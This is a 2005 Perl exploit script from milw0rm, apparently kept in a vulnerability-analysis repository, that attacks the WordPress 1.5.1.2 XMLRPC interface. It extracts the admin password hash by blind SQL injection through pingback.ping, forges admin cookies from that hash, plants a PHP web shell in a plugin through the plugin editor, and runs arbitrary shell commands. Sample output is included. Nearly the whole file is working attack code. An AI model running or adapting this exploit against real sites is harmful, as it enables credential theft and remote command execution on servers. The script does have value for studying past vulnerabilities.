lilbool/vuln-code-analysis
0
1#!/usr/bin/perl -w
2
3# sorry for the late posting, had to test it. /str0ke
4
5#################################################################
6# Wordpress 1.5.1.2 Strayhorn // XMLRPC Interface SQL Injection #
7#################################################################
8# By James Bercegay // http://www.gulftech.org/ // June 21 2005 #
9#################################################################
10# Quick and dirty proof of concept that uses the XML RPC server #
11# vulnerabilities I discovered to extract a password hash & use #
12# that hash to execute shell commands on the server as httpd :) #
13#################################################################
14# Technical details of WordPress XMLRPC Interface SQL Injection #
15#################################################################
16# The vulnerability exist because all XMLRPC data is taken from #
17# the HTTP_RAW_POST_DATA variable, and never sanatized properly #
18# thus leaving the doors open for attack. Also, most if not all #
19# the functions in xmlrpc.php are vulnerable to similar attacks #
20#################################################################
21#
22# C:\Documents and Settings\James\Desktop>wp.pl http://pathto/wp admin 1 "id;uname -a;pwd;uptime"
23# [*] Trying Host http://pathto/wp ...
24# [+] The XMLRPC server seems to be working
25# [+] Char 1 is 2
26# [+] Char 2 is 1
27# [+] Char 3 is 2
28# [+] Char 4 is 3
29# [+] Char 5 is 2
30# [+] Char 6 is f
31# [+] Char 7 is 2
32# [+] Char 8 is 9
33# [+] Char 9 is 7
34# [+] Char 10 is a
35# [+] Char 11 is 5
36# [+] Char 12 is 7
37# [+] Char 13 is a
38# [+] Char 14 is 5
39# [+] Char 15 is a
40# [+] Char 16 is 7
41# [+] Char 17 is 4
42# [+] Char 18 is 3
43# [+] Char 19 is 8
44# [+] Char 20 is 9
45# [+] Char 21 is 4
46# [+] Char 22 is a
47# [+] Char 23 is 0
48# [+] Char 24 is e
49# [+] Char 25 is 4
50# [+] Char 26 is a
51# [+] Char 27 is 8
52# [+] Char 28 is 0
53# [+] Char 29 is 1
54# [+] Char 30 is f
55# [+] Char 31 is c
56# [+] Char 32 is 3
57# [+] Host : http://pathto/wp
58# [+] User : admin
59# [+] Hash : 21232f297a57a5a743894a0e4a801fc3
60# [*] Attempting to create shell ..
61# [+] Trying filename hello.php ...
62# [+] Trying to activate hello.php ...
63# [+] Trying to execute id;uname -a;pwd;uptime ...
64# [+] Successfully executed id;uname -a;pwd;uptime
65#
66# uid=1979(gulftech) gid=500(customer) groups=500(customer)
67# FreeBSD example.com 4.10-RELEASE FreeBSD 4.10-RELEASE #0: Tue Jan 1
68# 1 22:44:03 PST 2005 james@example.com:/usr/src/sys/compile/EXAMPLE i386
69#
70# /www/htdocs/wp/wp-admin
71# 8:07AM up 35 days, 20:01, 1 user, load averages: 7.98, 8.24, 8.14
72#
73#################################################################
74
75use LWP::UserAgent;
76use Digest::MD5 qw(md5_hex);
77
78my $ua = new LWP::UserAgent;
79 $ua->agent("Wordpress Hash Grabber v1.0" . $ua->agent);
80
81my @char = ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f");
82
83my $host = $ARGV[0]; # The path to xmlrpc.php
84my $user = $ARGV[1]; # The target login, default wp user is admin
85my $post = $ARGV[2]; # Must be a valid pingback or part
86 # of an entry title, very easy to
87 # obtain if you know how to read :)
88my $exec = $ARGV[3]; # Command to execute
89my $pref = 'wp_'; # database prefix!
90my $hash = '';
91
92if ( !$ARGV[2] )
93{
94 die("Im Not Psychic ..\n");
95}
96
97print "[*] Trying Host $host ...\n";
98
99my $res = $ua->get($host.'/xmlrpc.php');
100
101if ( $res->content =~ /XML-RPC server accepts POST requests only/is )
102{
103 print "[+] The XMLRPC server seems to be working \n";
104}
105else
106{
107 print "[!] Something seems to be wrong with the XMLRPC server \n ";
108 # Sloppy way of debugging, remove if you want
109 open(LOG, ">wp_out.html"); print LOG $res->content;
110 exit;
111}
112
113for( $i=1; $i < 33; $i++ )
114{
115 for( $j=0; $j < 16; $j++ )
116 {
117 # oh my! :)
118 my $sql = "<?xml version=\"1.0\"?><methodCall><methodName>pingback.ping</methodName><params><param><value><string>foobar' UNION SELECT 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 FROM " . $pref . "users WHERE (user_login='$user' AND MID(user_pass,$i,1)='$char[$j]')/*</string></value></param><param><value><string>$host/?p=$post#$post</string></value></param><param><value><string>admin</string></value></param></params></methodCall>";
119
120 # Remove the content type so $HTTP_RAW_POST_DATA is
121 # populated. php.net guys, pleeeeaaase fix this! :)
122 my $req = new HTTP::Request POST => $host . "/xmlrpc.php";
123 $req->content($sql);
124 $res = $ua->request($req);
125 $out = $res->content;
126
127 if ( $out =~ /The pingback has already been registered/)
128 {
129 $hash .= $char[$j];
130 print "[+] Char $i is $char[$j]\n";
131 last;
132 }
133
134 }
135
136 if ( length($hash) < 1 )
137 {
138 # Sloppy way of debugging, remove if you want
139 open(LOG, ">wp_out.html"); print LOG $out;
140
141 print "[!] $host not vulnerable? Better verify manually!\n";
142 exit;
143 }
144 if ( $out =~ /<value><int>0<\/int><\/value>/)
145 {
146 print "[!] Invalid post information specified! \n";
147 exit;
148 }
149
150 # Probably exploitable, but not by using default SQL query. The
151 # [0]{5} regex may be a bad idea bit ive never seen a md5 thats
152 # got 5 0's at the very beginning of it.
153 if ( $out =~ /different number of columns/is || $hash =~ /([0]{5})/ )
154 {
155 # Sloppy way of debugging, remove if you want
156 open(LOG, ">wp_out.html"); print LOG $out;
157
158 print "[!] The database structured has been altered, check manually \n";
159 exit;
160 }
161
162}
163
164# Verbose
165print "[+] Host : $host\n";
166print "[+] User : $user\n";
167print "[+] Hash : $hash\n";
168
169# We got the hash, so we are guaranteed admin
170# even if we can not successfully execute! :)
171print "[*] Attempting to create shell .. \n";
172
173# Here we md5 the passhash, as well as the host
174# in order to get the cookie hash, and the pass
175# hash values respectively.
176my $ckey = md5_hex($host);
177 $hash = md5_hex($hash);
178
179# Create the cookie used to make all admin requests
180my @cookie = ('Referer' => $host.'/wp-admin/plugins.php;','Cookie' => 'wordpressuser_'.$ckey.'='.$user.'; wordpresspass_'.$ckey.'='. $hash);
181 $res = $ua->get($host.'/wp-admin/plugin-editor.php', @cookie);
182
183# Let's get the filename from the plugin editor
184if ( $res->content =~ /<strong>(.*)\.php<\/strong>/i )
185{
186 # Seems our request went okay, and we have the filename!
187 my @list = ($1.'.php', 'hello.php', 'markdown.php', 'textile1.php');
188 my $file;
189
190 # Make it work one way or another :)
191 foreach $file (@list)
192 {
193
194 print "[+] Trying filename $file ...\n";
195 $res = $ua->get($host.'/wp-admin/plugin-editor.php?file='.$file, @cookie);
196
197 if ( $res->content =~ /<textarea[^>]*>(.*)<\/textarea>/is )
198 {
199 # This is the file contents
200 my $data = $1;
201
202 # Quick and dirty way to fix the data recieved
203 # so that it executes and does not cause error
204 $data =~ s/>/>/ig;
205 $data =~ s/</</ig;
206 $data =~ s/"/"/ig;
207 $data =~ s/&/&/ig;
208
209
210
211 # We use the <cmdout> tag to make it easy to grab out command output
212 my $add = ( $data =~ /<cmdout>(.*)<\/cmdout>/is ) ? '': '<cmdout><?php if ( !empty($_REQUEST["cmd"]) ) passthru($_REQUEST["cmd"]); ?></cmdout>';
213
214 # Adding our php code to the selected plugin
215 $res = $ua->post($host . "/wp-admin/plugin-editor.php", ['newcontent' => $add.$data, 'action' => 'update', 'file' => $file, 'submit' => 'foobar'], @cookie);
216
217 # Trying to activate the plugin. If the requests doesn't succeed
218 # then the command execution will fail unless the plugin has had
219 print "[+] Trying to activate $file ... \n";
220 $res = $ua->get($host.'/wp-admin/plugins.php?action=activate&plugin='.$file , @cookie);
221
222 # Depending on the plugin this should execute
223 # our command, else we try the file directly!
224 # this works everytime on the default install
225 print "[+] Trying to execute $exec ... \n";
226 $res = $ua->get($host.'/wp-admin/plugins.php?cmd='.$exec, @cookie);
227
228 # It seems we have executed our command successfully
229 if ( $res->content =~ /<cmdout>(.*)<\/cmdout>/is )
230 {
231 # Send results to STDOUT
232 print "[+] Successfully executed $exec\n\n\n";
233 print $1;
234 exit;
235 }
236 else
237 {
238 # No luck with that particular method, so
239 # we will try to access the modified file
240 print "[!] Couldnt execute command $exec\n";
241 open(LOG, ">wp_out.html"); print LOG $res->content;
242
243 # Trying to access the file directly and execute
244 print "[!] Trying to access $file directly!\n";
245 $res = $ua->get($host.'/wp-content/plugins/'.$file.'?cmd='.$exec, @cookie);
246
247 # It seems we have executed our command successfully
248 if ( $res->content =~ /<cmdout>(.*)<\/cmdout>/is )
249 {
250 # Send results to STDOUT
251 print "[+] Successfully executed $exec\n\n\n";
252 print $1;
253 exit;
254 }
255 else
256 {
257 # No luck, better take a look at things manually
258 print "[!] Couldnt execute command $exec\n";
259 print "[*] Try $host/wp-content/plugins/$file manually\n";
260 }
261 }
262 }
263 else
264 {
265 # Unable to get the file contents
266 print "[!] Could not read file $file \n";
267 open(LOG, ">wp_out.html"); print LOG $res->content . $file;
268 }
269
270 }
271
272}
273else
274{
275 # Unable to get the plugin information
276 print "[!] Could Not Get Plugin Information\n";
277 open(LOG, ">wp_out.html"); print LOG $res->content;
278}
279
280# fin
281exit;
282
283# milw0rm.com [2005-06-30]